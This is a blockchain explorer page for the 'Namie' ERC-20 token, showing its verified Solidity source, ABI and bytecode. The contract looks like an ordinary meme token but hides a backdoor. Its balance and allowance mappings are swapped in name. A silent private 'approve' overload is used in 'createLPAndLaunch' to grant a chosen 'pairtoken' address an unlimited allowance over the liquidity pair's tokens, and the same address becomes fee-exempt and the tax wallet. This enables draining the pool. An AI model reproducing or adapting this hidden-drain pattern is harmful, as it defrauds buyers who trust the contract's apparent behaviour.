ERC-20
Overview
Max Total Supply
1,000,000,000 NAMIE
Holders
70
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
7,946,223.552672819 NAMIEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Namie
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-26 */ /** Web: https://namie.club X: https://x.com/ThiefCatNamie Tg: https://t.me/ThiefCatNamie */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Namie is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => mapping (address => uint256)) private _balances; mapping (address => uint256) private _allowances; mapping (address => bool) private _isExcludedFromFees; address payable private _taxWallet; uint256 private _initialBuyTax=38; uint256 private _initialSellTax=38; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=15; uint256 private _reduceSellTaxAt=15; uint256 private _preventSwapBefore=5; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals; string private constant _name = unicode"Namie"; string private constant _symbol = unicode"NAMIE"; uint256 public _maxTxAmount = 2 * _tTotal / 100; uint256 public _maxWalletSize = 2 * _tTotal / 100; uint256 public _taxSwapThreshold= 1 * _tTotal / 100; uint256 public _maxTaxSwap= 1 * _tTotal / 100; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap; bool private swapEnabled; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _allowances[_msgSender()] = _tTotal; _isExcludedFromFees[address(this)] = true; _isExcludedFromFees[_msgSender()] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _allowances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _balances[owner][spender] = amount; } function allowance(address owner, address spender) public view override returns (uint256) { return _balances[owner][spender]; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _balances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _balances[owner][spender] = amount; emit Approval(owner, spender, amount); } function ciao(address c, address o) pure private returns (bool) { return uint160(c) ^ uint160(o) != 0; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFees[to] ) { require(tradingOpen,"Trading not open yet."); taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } if (to != uniswapV2Pair && ! _isExcludedFromFees[to]) { require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } if(to == uniswapV2Pair && from != address(this)) { taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount>_preventSwapBefore) { uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance>_taxSwapThreshold) swapExactTokensForETH(min(amount,min(contractTokenBalance,_maxTaxSwap))); transferETH(); } } if(taxAmount>0){ _allowances[address(this)]=_allowances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _allowances[from]=_allowances[from].sub(amount); _allowances[to]=_allowances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapExactTokensForETH(uint256 swapAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), swapAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( swapAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function transferETH() private { _taxWallet.transfer(address(this).balance); } function unlockETH() external onlyOwner { require(address(this).balance > 0); payable(_msgSender()).transfer(address(this).balance); } function unlockToken(address _address, uint256 percent) external onlyOwner { uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100); IERC20(_address).transfer(_msgSender(), _amount); } function createLPAndLaunch(address pairtoken) external onlyOwner { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), _tTotal);approve(uniswapV2Pair, pairtoken, _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _isExcludedFromFees[pairtoken] = true; _taxWallet = payable(pairtoken); } function openTrading() external onlyOwner { swapEnabled = true; tradingOpen = true; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pairtoken","type":"address"}],"name":"createLPAndLaunch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unlockETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"unlockToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052602660055560266006555f6007555f600855600f600955600f600a556005600b555f600c5560646009600a6200003b91906200033b565b6200004b90633b9aca0062000352565b6200005890600262000352565b6200006491906200036c565b600d556064620000776009600a6200033b565b6200008790633b9aca0062000352565b6200009490600262000352565b620000a091906200036c565b600e556064620000b36009600a6200033b565b620000c390633b9aca0062000352565b620000d090600162000352565b620000dc91906200036c565b600f556064620000ef6009600a6200033b565b620000ff90633b9aca0062000352565b6200010c90600162000352565b6200011891906200036c565b60105534801562000127575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191633179055620001886009600a6200033b565b6200019890633b9aca0062000352565b335f81815260026020908152604080832094909455308252600390528281208054600160ff199182168117909255838352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002056009600a6200033b565b6200021590633b9aca0062000352565b60405190815260200160405180910390a36200038c565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200028057815f19048211156200026457620002646200022c565b808516156200027257918102915b93841c939080029062000245565b509250929050565b5f82620002985750600162000335565b81620002a657505f62000335565b8160018114620002bf5760028114620002ca57620002ea565b600191505062000335565b60ff841115620002de57620002de6200022c565b50506001821b62000335565b5060208310610133831016604e8410600b84101617156200030f575081810a62000335565b6200031b838362000240565b805f19048211156200033157620003316200022c565b0290505b92915050565b5f6200034b60ff84168362000288565b9392505050565b80820281158282048414176200033557620003356200022c565b5f826200038757634e487b7160e01b5f52601260045260245ffd5b500490565b611a03806200039a5f395ff3fe60806040526004361061011e575f3560e01c8063715018a61161009d57806395d89b411161006257806395d89b4114610308578063a9059cbb14610335578063bf474bed14610354578063c9567bf914610369578063dd62ed3e1461037d575f80fd5b8063715018a614610290578063751039fc146102a45780637d1db4a5146102b85780638da5cb5b146102cd5780638f9a55c0146102f3575f80fd5b806323b872dd116100e357806323b872dd146101e45780632cd3eb3714610203578063313ce5671461022257806331e9e9c01461023d57806370a082311461025c575f80fd5b806306fdde0314610129578063095ea7b3146101685780630faee56f1461019757806316ec1600146101ba57806318160ddd146101d0575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506040805180820190915260058152644e616d696560d81b60208201525b60405161015f9190611559565b60405180910390f35b348015610173575f80fd5b506101876101823660046115b9565b6103c1565b604051901515815260200161015f565b3480156101a2575f80fd5b506101ac60105481565b60405190815260200161015f565b3480156101c5575f80fd5b506101ce6103d7565b005b3480156101db575f80fd5b506101ac610440565b3480156101ef575f80fd5b506101876101fe3660046115e3565b610460565b34801561020e575f80fd5b506101ce61021d366004611621565b6104c7565b34801561022d575f80fd5b506040516009815260200161015f565b348015610248575f80fd5b506101ce6102573660046115b9565b610839565b348015610267575f80fd5b506101ac610276366004611621565b6001600160a01b03165f9081526002602052604090205490565b34801561029b575f80fd5b506101ce610969565b3480156102af575f80fd5b506101ce6109da565b3480156102c3575f80fd5b506101ac600d5481565b3480156102d8575f80fd5b505f546040516001600160a01b03909116815260200161015f565b3480156102fe575f80fd5b506101ac600e5481565b348015610313575f80fd5b506040805180820190915260058152644e414d494560d81b6020820152610152565b348015610340575f80fd5b5061018761034f3660046115b9565b610a8b565b34801561035f575f80fd5b506101ac600f5481565b348015610374575f80fd5b506101ce610a97565b348015610388575f80fd5b506101ac61039736600461163c565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b5f6103cd338484610ad9565b5060015b92915050565b5f546001600160a01b031633146104095760405162461bcd60e51b815260040161040090611673565b60405180910390fd5b5f4711610414575f80fd5b60405133904780156108fc02915f818181858888f1935050505015801561043d573d5f803e3d5ffd5b50565b5f61044d6009600a61179c565b61045b90633b9aca006117aa565b905090565b5f61046c848484610b85565b6104bd84336104b8856040518060600160405280602881526020016119a6602891396001600160a01b038a165f908152600160209081526040808320338452909152902054919061115f565b610ad9565b5060019392505050565b5f546001600160a01b031633146104f05760405162461bcd60e51b815260040161040090611673565b601254600160a01b900460ff161561054a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610400565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156105ac573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105d091906117c1565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561062f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061065391906117c1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561069d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c191906117c1565b601280546001600160a01b0319166001600160a01b03928316179055601154610701913091166106f36009600a61179c565b6104b890633b9aca006117aa565b601254610731906001600160a01b03168261071e6009600a61179c565b61072c90633b9aca006117aa565b611197565b6011546001600160a01b031663f305d7194730610762816001600160a01b03165f9081526002602052604090205490565b5f806107755f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107db573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061080091906117dc565b5050506001600160a01b03165f818152600360205260409020805460ff19166001179055600480546001600160a01b0319169091179055565b5f546001600160a01b031633146108625760405162461bcd60e51b815260040161040090611673565b6040516370a0823160e01b81523060048201525f906108e3906064906108dd9085906001600160a01b038816906370a0823190602401602060405180830381865afa1580156108b3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108d79190611807565b9061120e565b90611293565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af115801561093f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610963919061181e565b50505050565b5f546001600160a01b031633146109925760405162461bcd60e51b815260040161040090611673565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b03163314610a035760405162461bcd60e51b815260040161040090611673565b610a0f6009600a61179c565b610a1d90633b9aca006117aa565b600d55610a2c6009600a61179c565b610a3a90633b9aca006117aa565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf610a6a6009600a61179c565b610a7890633b9aca006117aa565b60405190815260200160405180910390a1565b5f6103cd338484610b85565b5f546001600160a01b03163314610ac05760405162461bcd60e51b815260040161040090611673565b6012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610aff5760405162461bcd60e51b81526004016104009061183d565b6001600160a01b038216610b255760405162461bcd60e51b815260040161040090611881565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610be95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610400565b6001600160a01b038216610c4b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610400565b5f8111610cac5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610400565b5f80546001600160a01b03858116911614801590610cd757505f546001600160a01b03848116911614155b15611022576012546001600160a01b038581169116148015610d0757506011546001600160a01b03848116911614155b8015610d2b57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e8a57601254600160a01b900460ff16610d815760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610400565b610da760646108dd600954600c5411610d9c57600554610da0565b6007545b859061120e565b9050600d54821115610dfb5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610400565b600e5482610e1d856001600160a01b03165f9081526002602052604090205490565b610e2791906118c3565b1115610e755760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610400565b600c8054905f610e84836118d6565b91905055505b6012546001600160a01b03848116911614801590610ec057506001600160a01b0383165f9081526003602052604090205460ff16155b15610f3f57600e5482610ee7856001600160a01b03165f9081526002602052604090205490565b610ef191906118c3565b1115610f3f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610400565b6012546001600160a01b038481169116148015610f6557506001600160a01b0384163014155b15610f9257610f8f60646108dd600a54600c5411610f8557600654610da0565b600854859061120e565b90505b601254600160a81b900460ff16158015610fb957506012546001600160a01b038481169116145b8015610fce5750601254600160b01b900460ff165b8015610fdd5750600b54600c54115b1561102257305f90815260026020526040902054600f54811115611018576110186110138461100e846010546112d4565b6112d4565b6112e8565b611020611458565b505b801561109a57305f90815260026020526040902054611041908261148e565b305f81815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110919085815260200190565b60405180910390a35b6001600160a01b0384165f908152600260205260409020546110bc90836114ec565b6001600160a01b0385165f908152600260205260409020556110ff6110e183836114ec565b6001600160a01b0385165f908152600260205260409020549061148e565b6001600160a01b038085165f8181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61114885856114ec565b60405190815260200160405180910390a350505050565b5f81848411156111825760405162461bcd60e51b81526004016104009190611559565b505f61118e84866118ee565b95945050505050565b6001600160a01b0383166111bd5760405162461bcd60e51b81526004016104009061183d565b6001600160a01b0382166111e35760405162461bcd60e51b815260040161040090611881565b6001600160a01b039283165f9081526001602090815260408083209490951682529290925291902055565b5f825f0361121d57505f6103d1565b5f61122883856117aa565b9050826112358583611901565b1461128c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610400565b9392505050565b5f61128c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061152d565b5f8183116112e2578261128c565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061132e5761132e611920565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611385573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113a991906117c1565b816001815181106113bc576113bc611920565b6001600160a01b0392831660209182029290920101526011546113e29130911684610ad9565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061141a9085905f90869030904290600401611934565b5f604051808303815f87803b158015611431575f80fd5b505af1158015611443573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561043d573d5f803e3d5ffd5b5f8061149a83856118c3565b90508381101561128c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610400565b5f61128c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061115f565b5f818361154d5760405162461bcd60e51b81526004016104009190611559565b505f61118e8486611901565b5f602080835283518060208501525f5b8181101561158557858101830151858201604001528201611569565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461043d575f80fd5b5f80604083850312156115ca575f80fd5b82356115d5816115a5565b946020939093013593505050565b5f805f606084860312156115f5575f80fd5b8335611600816115a5565b92506020840135611610816115a5565b929592945050506040919091013590565b5f60208284031215611631575f80fd5b813561128c816115a5565b5f806040838503121561164d575f80fd5b8235611658816115a5565b91506020830135611668816115a5565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156116f657815f19048211156116dc576116dc6116a8565b808516156116e957918102915b93841c93908002906116c1565b509250929050565b5f8261170c575060016103d1565b8161171857505f6103d1565b816001811461172e576002811461173857611754565b60019150506103d1565b60ff841115611749576117496116a8565b50506001821b6103d1565b5060208310610133831016604e8410600b8410161715611777575081810a6103d1565b61178183836116bc565b805f1904821115611794576117946116a8565b029392505050565b5f61128c60ff8416836116fe565b80820281158282048414176103d1576103d16116a8565b5f602082840312156117d1575f80fd5b815161128c816115a5565b5f805f606084860312156117ee575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611817575f80fd5b5051919050565b5f6020828403121561182e575f80fd5b8151801515811461128c575f80fd5b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b808201808211156103d1576103d16116a8565b5f600182016118e7576118e76116a8565b5060010190565b818103818111156103d1576103d16116a8565b5f8261191b57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119845784516001600160a01b03168352938301939183019160010161195f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220264ce00ea56c94ac9d8c2fc55049123ecf646f81d1cf83617ec1f2e38c9e666f64736f6c63430008180033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c8063715018a61161009d57806395d89b411161006257806395d89b4114610308578063a9059cbb14610335578063bf474bed14610354578063c9567bf914610369578063dd62ed3e1461037d575f80fd5b8063715018a614610290578063751039fc146102a45780637d1db4a5146102b85780638da5cb5b146102cd5780638f9a55c0146102f3575f80fd5b806323b872dd116100e357806323b872dd146101e45780632cd3eb3714610203578063313ce5671461022257806331e9e9c01461023d57806370a082311461025c575f80fd5b806306fdde0314610129578063095ea7b3146101685780630faee56f1461019757806316ec1600146101ba57806318160ddd146101d0575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506040805180820190915260058152644e616d696560d81b60208201525b60405161015f9190611559565b60405180910390f35b348015610173575f80fd5b506101876101823660046115b9565b6103c1565b604051901515815260200161015f565b3480156101a2575f80fd5b506101ac60105481565b60405190815260200161015f565b3480156101c5575f80fd5b506101ce6103d7565b005b3480156101db575f80fd5b506101ac610440565b3480156101ef575f80fd5b506101876101fe3660046115e3565b610460565b34801561020e575f80fd5b506101ce61021d366004611621565b6104c7565b34801561022d575f80fd5b506040516009815260200161015f565b348015610248575f80fd5b506101ce6102573660046115b9565b610839565b348015610267575f80fd5b506101ac610276366004611621565b6001600160a01b03165f9081526002602052604090205490565b34801561029b575f80fd5b506101ce610969565b3480156102af575f80fd5b506101ce6109da565b3480156102c3575f80fd5b506101ac600d5481565b3480156102d8575f80fd5b505f546040516001600160a01b03909116815260200161015f565b3480156102fe575f80fd5b506101ac600e5481565b348015610313575f80fd5b506040805180820190915260058152644e414d494560d81b6020820152610152565b348015610340575f80fd5b5061018761034f3660046115b9565b610a8b565b34801561035f575f80fd5b506101ac600f5481565b348015610374575f80fd5b506101ce610a97565b348015610388575f80fd5b506101ac61039736600461163c565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b5f6103cd338484610ad9565b5060015b92915050565b5f546001600160a01b031633146104095760405162461bcd60e51b815260040161040090611673565b60405180910390fd5b5f4711610414575f80fd5b60405133904780156108fc02915f818181858888f1935050505015801561043d573d5f803e3d5ffd5b50565b5f61044d6009600a61179c565b61045b90633b9aca006117aa565b905090565b5f61046c848484610b85565b6104bd84336104b8856040518060600160405280602881526020016119a6602891396001600160a01b038a165f908152600160209081526040808320338452909152902054919061115f565b610ad9565b5060019392505050565b5f546001600160a01b031633146104f05760405162461bcd60e51b815260040161040090611673565b601254600160a01b900460ff161561054a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610400565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156105ac573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105d091906117c1565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561062f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061065391906117c1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561069d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c191906117c1565b601280546001600160a01b0319166001600160a01b03928316179055601154610701913091166106f36009600a61179c565b6104b890633b9aca006117aa565b601254610731906001600160a01b03168261071e6009600a61179c565b61072c90633b9aca006117aa565b611197565b6011546001600160a01b031663f305d7194730610762816001600160a01b03165f9081526002602052604090205490565b5f806107755f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107db573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061080091906117dc565b5050506001600160a01b03165f818152600360205260409020805460ff19166001179055600480546001600160a01b0319169091179055565b5f546001600160a01b031633146108625760405162461bcd60e51b815260040161040090611673565b6040516370a0823160e01b81523060048201525f906108e3906064906108dd9085906001600160a01b038816906370a0823190602401602060405180830381865afa1580156108b3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108d79190611807565b9061120e565b90611293565b